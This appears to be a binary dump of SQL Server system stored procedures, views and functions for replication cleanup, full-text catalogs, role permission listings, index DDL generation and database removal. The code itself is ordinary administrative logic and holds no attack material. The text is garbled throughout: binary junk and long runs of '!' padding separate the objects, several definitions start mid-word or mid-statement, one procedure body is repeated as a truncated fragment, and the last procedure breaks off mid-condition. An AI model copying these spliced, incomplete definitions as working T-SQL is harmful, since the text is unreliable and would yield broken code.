!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!oS`K<6#[0>h 
8CREATE VIEW sys.dm_hadr_internal_wsfc_ag_logical_dbs AS
	SELECT
		ags.ag_id, dbs.*
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AGS) AS ags
	CROSS APPLY
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AG_LOGICAL_DBS, ags.ag_id) AS dbs
0Zi t
8 
CREATE PROCEDURE sys.sp_expired_subscription_cleanup
(
	@publisher sysname = NULL
)
AS
BEGIN
    declare	@retcode         int,
    		@publisher_db    sysname,
    		@publisher_type  sysname,
			@category        int,
			@proc_name       nvarchar(200),
			@distributor     sysname,
			@distribdb       sysname,
			@distproc        nvarchar(300)

    -- Security Check is done in called procedures

    -- Get distribution server information for remote RPC call.
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher      = @publisher,
    												 @rpcsrvname     = @distributor OUTPUT,
    												 @distribdb      = @distribdb OUTPUT,
    												 @publisher_type = @publisher_type OUTPUT

    IF (@@ERROR != 0 OR @retcode != 0)
    BEGIN
        RETURN (@retcode)
    END

	IF (@distributor IS NULL OR @distribdb IS NULL)
    BEGIN
        IF EXISTS (SELECT name FROM sys.databases WHERE sys.fn_MSrepl_ispublished(name) = 1)
        BEGIN
            RAISERROR (20036, 16, -1)
            return (1)
        END
        ELSE
        BEGIN 
            return (0)
        END
    END

	IF (@publisher_type != N'MSSQLSERVER')
	BEGIN
		-- Heterogeneous publisher subscription cleanup
		SELECT @proc_name = @distribdb + N'.sys.sp_MSdrop_expired_subscription'
		EXEC @retcode = @proc_name	@publisher = @publisher
	END
	ELSE
    BEGIN
    	-- SQL publisher - sweep all the published databases
	    DECLARE DC CURSOR LOCAL FAST_FORWARD for
	    SELECT DISTINCT name, category
	    FROM   master.dbo.sysdatabases 
	    WHERE ((category & 4) = 4
	       OR (category & 1 = 1))
			and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
	       and has_dbaccess(name) = 1
	    FOR READ ONLY
	    
	    OPEN DC
	    FETCH DC INTO @publisher_db, @category
	    
	    WHILE (@@fetch_status != -1)
	    BEGIN
	    	-- Merge publication db
	        IF (@category & 4 = 4)
            BEGIN
                SELECT @proc_name = @publisher_db + '.sys.sp_MSdrop_expired_mergesubscription'
                EXEC @retcode = @proc_name
                
                IF (@retcode != 0 OR @@ERROR != 0)
                BEGIN
                    GOTO DONE
                END
            END

			-- Tran publication db
	        IF (@category & 1 = 1)
            BEGIN
                SELECT @proc_name = @publisher_db + '.sys.sp_MSdrop_expired_subscription'
                EXEC @retcode = @proc_name
                
                IF (@retcode != 0 OR @@ERROR != 0)
                BEGIN
                    goto DONE
                END
            END    

		    FETCH DC INTO @publisher_db, @category
	    END

	    --
	    -- sp_MScleanup_agent_entry in distribution database is called to periodically remove obselete
	    -- entries in MSmerge_agents, which may be caused by the following reasons:
	    --  1. publishing database is externally removed; therefore cleanup agent can not do its job
	    --  2. Entries for anonymous merge subscriptions
	    --
	    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '..sp_MScleanup_agent_entry'
	    EXEC @retcode = @distproc 
	    
	    IF (@@ERROR != 0 OR @retcode != 0)
	    BEGIN
	    	goto DONE
	    END

DONE:
		-- Cursor cleanup
	    CLOSE DC
	    DEALLOCATE DC
	END

	RETURN @retcode
END
0j 	8create procedure sys.sp_vupgrade_sysarticlecolumns
as
begin
    set nocount on
    -- sysarticles.columns is no longer used in Yukon, but before 
    -- we can drop the column, we need to transfer the article column 
    -- data to sysarticlecolumns
            
    -- Truncate dbo.sysarticlecolumns before we start so the whole
    -- process can be restarted in case of a failure
    truncate table dbo.sysarticlecolumns

    declare @colbitmap  binary(32)
          , @artid      int
          , @objid      int
          , @colid      int

    -- Variables for emulating the old sp_isarticlecolbitset logic
    declare @word       tinyint
          , @mval       int
          , @mask       smallint
    
    -- For each logbased article in sysarticle, ...
    declare hlogbasedarticles cursor local fast_forward for
        select artid, objid, columns
          from dbo.sysarticles
         where type & 0x1 = 0x1
    if @@error <> 0 return 1
    open hlogbasedarticles
    if @@error <> 0 return 1
    fetch hlogbasedarticles into @artid, @objid, @colbitmap
    if @@error <> 0 return 1
    while (@@fetch_status <> -1)
    begin
        -- For each column in the article base object...
       
        declare harticlecolumns cursor local fast_forward for
            select column_id 
              from sys.columns
             where object_id = @objid
        open harticlecolumns 
        fetch harticlecolumns into @colid
        while (@@fetch_status <> -1)
        begin
            set @word = convert(tinyint, 16 - floor((@colid-1)/16))
            set @mval = power(2, (@colid-1) % 16 )
            set @mask = convert( smallint, convert( binary(2), substring( convert( nchar(2), convert( binary(4), @mval ) ), 2, 1 ) ) ) 

            if convert( binary(2), substring( convert( nchar(16),@colbitmap), @word, 1 ) ) & @mask = @mask 
            begin
        insert into dbo.sysarticlecolumns(artid, colid) values (@artid, @colid)
        if @@error <> 0 return 1
            end

            fetch harticlecolumns into @colid
        end
        close harticlecolumns
        if @@error <> 0 return 1
        deallocate harticlecolumns
        if @@error <> 0 return 1
        fetch hlogbasedarticles into @artid, @objid, @colbitmap      
    end
    close hlogbasedarticles
    if @@error <> 0 return 1
    deallocate hlogbasedarticles
    if @@error <> 0 return 1

end
0,.m 88|yy
0Ao b8-- @colname should not be quoted when the following procedure is called
create procedure sys.sp_MSgetcolordinalfromcolname @objid int, @sync_objid int, @colname sysname, @colordinal int OUTPUT  as

    declare @colid      int
    declare @objcolname sysname
    declare @iscomputed tinyint
    declare @xtype      int

    select @colid = min(cs.column_id) from sys.columns cs 
        inner join sys.columns co on co.object_id=@objid and co.name = cs.name
    where cs.object_id = @sync_objid 
    and co.is_computed=0 and co.user_type_id<>type_id('timestamp') 
    
    select @objcolname = name from sys.columns where object_id = @sync_objid and column_id = @colid
    select @iscomputed=is_computed, @xtype = user_type_id from sys.columns where object_id = @objid and name = @colname
    set @colordinal = 1

    while (@objcolname is not null and @objcolname <> @colname)
    begin
        if (@iscomputed=1 OR type_name(@xtype)='timestamp')
            goto Next_Column

    Next_Column:
        -- now set up to repeat the loop with the next column
        select @colid = min (column_id) from sys.columns where object_id = @sync_objid and column_id > @colid 
        
        set @objcolname = NULL
        if @colid is not null
        begin
            select @objcolname = name from sys.columns where object_id = @sync_objid and column_id = @colid
            select @iscomputed=is_computed, @xtype = user_type_id from sys.columns where object_id = @objid and name = @colname
        end

        set @colordinal = @colordinal + 1
    end

    return 0 
EW sys.dm_db_missing_index_details AS
	SELECT *
	FROM OpenRowset(TABLE MISSING_IDX_DETAILS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!mm`<&3w?S0e O8
create function sys.generate_index_ddl
(
	@object_id int, 
	@index_id int, 
	@current_compression int,
	@sample_table sysname,
	@index_name sysname,
	@desired_compression int
)
returns @ddl_statements table(create_index_ddl nvarchar(max), compress_current_ddl nvarchar(max), compress_desired_ddl nvarchar(max), is_primary bit)
as
begin
	/*	There are four cases for indexes
			1) Heap
				Do not perform additional DDL to create index
				Use ALTER TABLE DDL to compress table
			2) Primary Key
				Use ALTER TABLE DDL to add primary key constraint
				USE ALTER INDEX DDL to comrpess index
			3) Non-PK
				Use CREATE INDEX DDL to create index
				USE ALTER INDEX DDL to compress index
			4) XML Index
				This should have been filtered out before we got here
		In all cases, if the index is non-clustered, drop the index */

	declare @create_index_ddl		nvarchar(max) = NULL;
	declare @compress_current_ddl	nvarchar(max) = NULL;
	declare @compress_desired_ddl	nvarchar(max) = '';

	if @index_id = 0		-- HEAP
	begin
		-- Compress the table using the current compression scheme
		if @current_compression <> 0
		begin
			set @compress_current_ddl = 'alter table ' + quotename(@sample_table) + ' rebuild with(data_compression = '
			                          + case @current_compression when 1 then 'row' else 'page' end + ');';
		end

		-- Compress the table to desired compression scheme
		set @compress_desired_ddl = 'alter table ' + quotename(@sample_table) + ' rebuild with (data_compression = '
		                          + case @desired_compression when 0 then 'none' when 1 then 'row' else 'page' end + ');';
	end
	else
	begin
		-- Get Index parameters
		declare @is_unique bit, @ignore_dup_key bit, @is_primary bit, @fill_factor tinyint, @is_padded bit;
		declare @filter_def nvarchar(max);
		select @is_unique = i.is_unique, @ignore_dup_key = i.ignore_dup_key, @is_primary = i.is_primary_key,
               @fill_factor = i.fill_factor, @is_padded = i.is_padded, @filter_def = i.filter_definition
		from sys.indexes i with (nolock)
		where i.object_id = @object_id and i.index_id = @index_id;

		-- key columns
		declare @key_columns nvarchar(max);
		set @key_columns  = stuff(
			(select ', ' + quotename(c.name) + case when ic.is_descending_key = 1 then ' desc' else ' asc' end as [text()]
			from sys.index_columns ic with (nolock) join sys.columns c with (nolock) on ic.object_id = c.object_id and ic.column_id = c.column_id
			where ic.object_id = @object_id and ic.index_id = @index_id and ic.is_included_column = 0 and ic.key_ordinal <> 0
			order by ic.key_ordinal
			for xml path('')), 1, 2, '');

		-- included columns
		declare @include_columns nvarchar(max);
		set @include_columns = stuff(
			(select ', ' + quotename(c.name) as [text()]
			from sys.index_columns ic with (nolock) join sys.columns c with (nolock) on ic.object_id = c.object_id and ic.column_id = c.column_id
			where ic.object_id = @object_id and ic.index_id = @index_id and ic.is_included_column = 1
			order by ic.index_column_id
			for xml path('')), 1, 2, '');

		-- partition columns -- only those that are not already included in either of the two above
		-- For non-unique, clustered index, partition columns are part of the key 
		-- For non-unique, nonclustered indexes, partition columns can be included
		if (@is_unique = 0)
		begin
			declare @partition_column nvarchar(max);

			select @partition_column = quotename(c.name) 
			from sys.index_columns ic with (nolock) join sys.columns c with (nolock) on ic.object_id = c.object_id and ic.column_id = c.column_id
			where ic.object_id = @object_id and ic.index_id = @index_id and ic.is_included_column = 0 
			and ic.key_ordinal = 0 and ic.partition_ordinal = 1

			if (@partition_column is not null)
			begin
				if (@index_id = 1) -- clustered index
					set @key_columns = coalesce(@key_columns + ', ' + @partition_column, @partition_column);
				else	-- nonclustered index
					set @include_columns = coalesce(@include_columns + ', ' + @partition_column, @partition_column);
			end
		end;
		
		-- For a clustered index, we will use a different name so that the index stays around until the sample table is dropped
		if (@index_id = 1)
		begin
			set @index_name = @index_name + '_clustered';
		end
		
		if (@is_primary = 1)
		begin
			set @index_name = @index_name + '_pk';
		end
		
		if @is_primary = 1
		begin
			-- for a primary key we don't have to worry about included or partition columns
			set @create_index_ddl = 'alter table ' + quotename(@sample_table) + ' add constraint ' + quotename(@index_name) + ' primary key ' + 
			case when @index_id = 1 then 'clustered (' else 'nonclustered (' end + @key_columns + ')';
		end
		else
		begin
			set @create_index_ddl = 'create' + case when @is_unique = 1 then ' unique' else '' end + 
			case when @index_id = 1 then ' clustered' else ' nonclustered' end + ' index ' + quotename(@index_name) + 
			' on ' + quotename(@sample_table) + '(' + @key_columns + ')';
			
			if (@include_columns is not null)
				set @create_index_ddl = @create_index_ddl + ' include (' + @include_columns + ')';

			if (@filter_def is not null)
				set @create_index_ddl = @create_index_ddl + ' where ' + @filter_def;
		end;

		-- Append Index Options
		if (@ignore_dup_key = 1 or @fill_factor <> 0 or @is_padded = 1)
		begin
			set @create_index_ddl = @create_index_ddl + ' with (';
			
			declare @requires_comma bit = 0;

			if @ignore_dup_key = 1
			begin
				set @create_index_ddl = @create_index_ddl + 'ignore_dup_key = on';
				set @requires_comma = 1;
			end;

			if @fill_factor <> 0
			begin
				if @requires_comma = 1 set @create_index_ddl = @create_index_ddl + ', ';
				set @create_index_ddl = @create_index_ddl + 'fillfactor = ' + convert(nvarchar(3), @fill_factor);
				set @requires_comma = 1;
			end;

			if @is_padded = 1
			begin
				if @requires_comma = 1 set @create_index_ddl = @create_index_ddl + ', ';
				set @create_index_ddl = @create_index_ddl + 'pad_index = on';
			end;

			set @create_index_ddl = @create_index_ddl + ')';
		end;

		-- Compress the index with current compression
		if @current_compression <> 0
		begin
			if (@index_id = 1 or @is_primary = 1)
				set @compress_current_ddl = 'alter table ' + quotename(@sample_table) + ' rebuild with(data_compression = ' +
					case @current_compression when 1 then 'row' else 'page' end + ');';
			else
				set @compress_current_ddl = 'alter index ' + quotename(@index_name) + ' on ' + quotename(@sample_table) + 
					' rebuild with(data_compression = ' + 
					case @current_compression when 1 then 'row' else 'page' end + ');';
		end;

		-- Compress the index with desired compression scheme
		if (@index_id = 1  or @is_primary = 1)
			set @compress_desired_ddl  = 'alter table ' + quotename(@sample_table) + + ' rebuild with(data_compression = ' +
				case @desired_compression when 0 then 'none' when 1 then 'row' else 'page' end + ');';
		else
			set @compress_desired_ddl = 'alter index ' + quotename(@index_name) + ' on ' + quotename(@sample_table) + 
				' rebuild with (data_compression = ' + case @desired_compression when 0 then 'none' when 1 then 'row' else 'page' end + ');';
	end;

	insert into @ddl_statements values (@create_index_ddl, @compress_current_ddl, @compress_desired_ddl, @is_primary);

	return;
end
0 38create function sys.fn_remote_tables(
	@server		sysname,
	@catalog	sysname = NULL,
	@schema		sysname = NULL,
	@name		sysname = NULL,
	@type		sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_TABLES, @server, @catalog, @schema, @name, @type)
09f@ D8.IhJ
I
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`iW<-,0+ 8create procedure sys.sp_srvrolepermission
	@srvrolename       sysname = NULL
AS
	if @srvrolename is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from sys.server_principals
				where name = @srvrolename and principal_id >= suser_id('sysadmin') and principal_id <= suser_id('bulkadmin'))
		begin
			raiserror(15412, -1, -1, @srvrolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE SERVER-ROLE
		select distinct 'ServerRole' = l.name, 'Permission' = p.name collate catalog_default
			from sys.server_principals l, sys.role_permissions p
			where l.name = @srvrolename and p.low > 0 and
				  ((p.type = 'SRV' and (p.number = l.principal_id or l.principal_id = suser_id('sysadmin'))) or
				  (p.type = 'DBR' and l.principal_id = suser_id('sysadmin') and not (p.name like N'No %')))
			order by l.name, p.name collate catalog_default
	end
	else
	begin
		-- RESULT SET FOR ALL SERVER-ROLES
		select distinct 'ServerRole' = l.name, 'Permission' = p.name collate catalog_default
			from sys.server_principals l, sys.role_permissions p
			where p.low > 0 and
				((p.type = 'SRV' and (p.number = l.principal_id or l.principal_id = suser_id('sysadmin'))) or
				  (p.type = 'DBR' and l.principal_id = suser_id('sysadmin') and not (p.name like N'No %')))
			order by l.name, p.name collate catalog_default
	end

    return (0) -- sp_srvrolepermission
0Y 8create proc sys.sp_fulltext_recycle_crawl_log
    @ftcat      sysname        -- full-text catalog name
as
    set nocount on

    -- sp_fulltext_catalog will run under read committed isolation level --
    set transaction isolation level READ COMMITTED

    -- CHECK PERMISSIONS (must be a dbowner) --
    if (is_member('db_owner') = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    if (db_name() in ('master','tempdb','model'))
    begin
        raiserror(9966, -1, -1)
        return 1
    end

    -- VALIDATE PARAMS --
    if @ftcat is null OR datalength(@ftcat) = 0 -- allow spaces in the name, but not a 0-length string
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_recycle_crawl_log')
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_recycle_crawl_log')
        return 1
    end

    declare @ftcatid smallint
    select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @ftcat
    if @ftcatid is null
    begin
		declare @curdbname sysname
		select @curdbname = db_name()
		declare @curdbnamelen int
		select @curdbnamelen = LEN(@curdbname)
		raiserror(7641,-1,-1,@ftcat, @curdbnamelen, @curdbname)
        return 1
    end

	DBCC CALLFULLTEXT ( 20, @ftcat) 

	return 0
0F@ $8create procedure sys.sp_MSsetcontext_bypassreplicateddleventbit @onoff bit -- 1 to turn on
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @bitmask tinyint

    -- bit to set: snapshot=1, logreader=2, distrib=4, merge=8, 
    -- replication_agent=16, merge_identityrange_alterconstraint=32
    -- bypasswholeddleventbit=64, bypassreplicateddleventbit=128
    if @onoff=1
        set @bitmask=128
    else
        set @bitmask=255-128
    
    -- get the current context_info. remember we only want to modify a bit without changing the rest of the info
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out. the replication agent flags are set in the first byte.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    -- set the appropriate bit in this one byte (leaving other bits unchanged).
    if @onoff=1
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) | @bitmask)
    else
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) & @bitmask)
        
    -- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
    select @cur_context = convert(varbinary(128),stuff (@cur_context, 1, 1, @cur_context_first_byte))
    -- set the context_info again with the new binary(128) value.
    set context_info @cur_context
    
    if @@error <> 0
        return 1
        
    return 0
end
0@ D8h%	+0* x8-- Either @artid or @artnick must not be null.
create function sys.fn_MSarticle_allows_DML_at_this_replica (@artid uniqueidentifier= null, @artnick int= null)
    returns bit
as
begin
    declare @upload_options_tinyint tinyint
    declare @lightweight bit
    declare @allowdml bit
    
    select top 1 @upload_options_tinyint = upload_options, @lightweight= lightweight
        from dbo.sysmergearticles 
        where artid = @artid or
              nickname = @artnick

    if 0=@upload_options_tinyint or 3=@upload_options_tinyint
    begin
        -- The article is explicitly updateable.
        set @allowdml= 1
    end
    else if 1=@lightweight
    begin
        -- Lightweight is never global, so article cannot become updateable
        -- due to that.
        set @allowdml= 0
    end
    else 
    begin
        if exists (select * from sysmergesubscriptions
                    where upper(publishingservername()) = upper(subscriber_server collate SQL_Latin1_General_CP1_CS_AS) and
                          db_name = db_name() and
                          subscriber_type = 1)
        begin
            -- Replica is global.
            set @allowdml= 1
        end
        else
        begin
            -- Replica is non-global.
            set @allowdml= 0
        end
    end

    return @allowdml
end
0m 88O΢\ = @version, @createparams = 4, @type = N'RAW'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'LONG RAW'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BLOB'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BFILE'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DATE'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'ROWID'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'UROWID'

        -- Oracle 9 and above specific data types
        IF (@version NOT LIKE N'8%')
        BEGIN
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP'
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP WITH TIME ZONE'
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP (7) WITH TIME ZONE'
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP WITH LOCAL TIME ZONE'
        END
END
0@ D8h%	+ngth string
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_recycle_crawl_log')
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_recycle_crawl_log')
        return 1
    end

    declare @ftcatid smallint
    select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @ftcat
    if @ftcatid is null
    begin
		declare @curdbname sysname
		select @curdbname = db_name()
		declare @curdbnamelen int
		select @curdbnamelen = LEN(@curdbname)
		raiserror(7641,-1,-1,@ftcat, @curdbnamelen, @curdbname)
        return 1
    end

	DBCC CALLFULLTEXT ( 20, @ftcat) 

	return 0
~`S<v|4n0d 8create procedure sys.sp_dbremove --- 1996/04/08 00:00
	@dbname sysname = null,
	@dropdev varchar(10) = null
as
	declare @dbid int
	declare @devname sysname
	declare @physname varchar(255)

	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_dbremove')
		return (1)
	end

	if @dbname is null
	begin
		raiserror(15131,-1,-1)
		return(1)
	end

	if lower(@dropdev) <> 'dropdev' and @dropdev is not null
	begin
		raiserror(15131,-1,-1)
		return(1)
	end

	-- You must be SA to execute this sproc.
	if (not (is_srvrolemember('sysadmin') = 1))
	begin
		raiserror(15247,-1,-1)
		return(1)
	end

	-- Make sure not trying to remove within a transaction.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dbremove')
		return(1)
	end

	-- Check to see if database exists.
	select @dbid = dbid from master.dbo.sysdatabases where name=@dbname
	if @dbid is null
	begin
		raiserror(15010,-1,-1,@dbname)
		return(1)
	end

	-- Make sure no one is in the db.
	if (select count(*) from master.dbo.sysprocesses where dbid = @dbid) > 0
	begin
		raiserror(15069,-1,-1)
		return (1)
	end

	-- Note: database @dbname may not exist anymore
	-- If invoke gets error, exception will abort this proc.
	EXEC %%DatabaseRef(Name = @dbname).SetSuspect(Value = 1)

	declare @dropCmd nvarchar(max)

	select @dropCmd = 'drop database ' + quotename(@dbname)
	exec (@dropCmd)
	raiserror(15458,-1,-1)

	return(0)	-- sp_dbremove
0t 8create procedure sys.sp_dbfixedrolepermission
	@rolename       sysname = NULL
AS
	if @rolename is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from sys.database_principals where name = @rolename
						and principal_id >= 16384 and principal_id <= 16393)
		begin
			raiserror(15412, -1, -1, @rolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE FIXED-ROLE
		select distinct 'DbFixedRole' = u.name, 'Permission' = p.name collate catalog_default
			from sys.database_principals u, sys.role_permissions p
			where u.name = @rolename and u.principal_id >= 16384 and u.principal_id <= 16393 and
				  p.type = 'DBR' and p.low > 0 and
				  ((u.principal_id = 16384 and p.number >= 16384 and p.number < 16392) or
				  (u.principal_id <> 16384 and u.principal_id = p.number))
			order by u.name, p.name collate catalog_default
	end
	else
	begin
		-- RESULT SET FOR ALL FIXED-ROLES
		select distinct 'DbFixedRole' = usr.name, 'Permission' = spv.name collate catalog_default
			from sys.database_principals usr, sys.role_permissions spv
			where usr.principal_id >= 16384 and usr.principal_id <= 16393 and
				  spv.type = 'DBR' and spv.low > 0 and
				  ((usr.principal_id = 16384 and spv.number >= 16384 and spv.number < 16392) or
				  (usr.principal_id <> 16384 and usr.principal_id = spv.number))
			order by usr.name, spv.name collate catalog_default
	end

    return (0) -- sp_dbfixedrolepermission
0m2{@ 8create function sys.fn_synctrigger
(
    @object_id int  -- base table id
    ,@publication sysname -- publication name
    ,@prefix sysname -- one of N'trg_MSsync_ins_%', N'trg_MSsync_del_%', or N'trg_MSsync_upd_%'
)
returns sysname
as
begin
    declare @trigger_name sysname

	select @trigger_name = o.object_name
	            from MSreplication_objects o 
	                join sys.triggers st 
	                    on o.object_name = st.name
	            where st.parent_id = @object_id 
	                	and o.object_type = 'T'
						and publication = @publication
						and object_name like @prefix

    return @trigger_name
end
0$ \8X5Dh>8^o0Us D8}hx),y0!@ 
8-- called when doing publication cleanup
create procedure sys.sp_MSdropsystableviews (@pubid uniqueidentifier)
AS
    declare @guidstr        nvarchar(40)
    declare @contentsview_80    sysname 
    declare @tombstoneview  sysname
    declare @genhistoryview_80  sysname
    declare @filtersview_80    sysname
    declare @filtersview_90    sysname
    declare @contentsview_90    sysname
    declare @contentsview_90_forall    sysname
    declare @contentsview_90_forglobal    sysname
    declare @rowtrackview    sysname
    declare @genhistoryview_90  sysname 
    declare @retcode smallint

    /*
    ** Only dbo or sysadmin 
    */
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    -- use pubid to generate the view names.
    exec @retcode = sys.sp_MSguidtostr @pubid, @guidstr out
    if @@ERROR<>0 OR @retcode<>0 return (1)

    select @contentsview_80 = 'MSmerge_cont' + @guidstr
    select @contentsview_90 = 'MSmerge_cont' + @guidstr + '_90'
    select @contentsview_90_forall = 'MSmerge_cont' + @guidstr + '_90_forall'
    select @contentsview_90_forglobal = 'MSmerge_cont' + @guidstr + '_90_forglobal'
    select @rowtrackview = 'MSmerge_cont' + @guidstr + '_rowtrack'
    select @tombstoneview = 'MSmerge_ts' + @guidstr
    select @genhistoryview_80 = 'MSmerge_gh' + @guidstr
    select @genhistoryview_90 = 'MSmerge_gh' + @guidstr + '_90'
    select @filtersview_80 = 'MSmerge_filt' + @guidstr
    select @filtersview_90 = 'MSmerge_filt' + @guidstr + '_90'

    exec @retcode = sp_MSdropview_internal @contentsview_80
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @contentsview_90
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @contentsview_90_forall
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @contentsview_90_forglobal
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @rowtrackview
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @tombstoneview
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @genhistoryview_80
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @genhistoryview_90
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @filtersview_80
    if @@ERROR<>0 OR @retcode<>0 return (1)

    exec @retcode = sp_MSdropview_internal @filtersview_90
    if @@ERROR<>0 OR @retcode<>0 return (1)

    return (0)
0&@ U8create procedure sys.sp_MSsetsubscriberinfo 
    (@pubid uniqueidentifier, @expr nvarchar(500))
as
    -- Security Checking 
    -- PAL users have access
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSsetsubscriberinfo')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    update dbo.sysmergepublications set validate_subscriber_info = @expr where pubid = @pubid
'GtU`-
X<>e.-0ݾe@ `8create proc sys.sp_fulltext_table
    @tabname    nvarchar(517),
    @action     varchar(50),
    @ftcat      sysname = NULL,     -- create: catalog name
    @keyname    sysname = NULL      -- create: name of unique index
as

    declare @execstring nvarchar (4000)
    declare @newtabname nvarchar (1035)

    set nocount on

    -- sp_fulltext_table will run under read committed isolation level --
    set transaction isolation level READ COMMITTED

    if (db_name() in ('master','tempdb','model'))
    begin
        raiserror(9966, -1, -1)
        return 1
    end

    -- add quote to table name. fn_quotefourpartname can add quote to four part name --
    select @newtabname=sys.fn_quotefourpartname(@tabname,N'[')

    if @newtabname is null
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_table')
        return 1
    end

    -- VALIDATE TABLE NAME --
    --  (1) Must exist in current database
    declare @objid int
    select @objid = object_id(@newtabname, 'local')
    if @objid is null
    begin
        declare @curdbname sysname
        select @curdbname = db_name()
        raiserror(15009,-1,-1 ,@tabname, @curdbname)
        return 1
    end

    -- CHECK PERMISSION ON TABLE --
    if (is_member('db_owner') = 0) AND (is_member('db_ddladmin') = 0)
        AND (is_member(user_name(ObjectProperty(@objid, 'ownerid'))) = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    -- VALIDATE PARAMS --
    if @action is null
        OR @action not in ('create','drop','activate','deactivate',
            'start_change_tracking', 'stop_change_tracking',
            'start_background_updateindex', 'stop_background_updateindex',
            'update_index', 'start_full', 'start_incremental', 'stop')
        OR (@action not in ('create') and (@ftcat is not null or @keyname is not null))
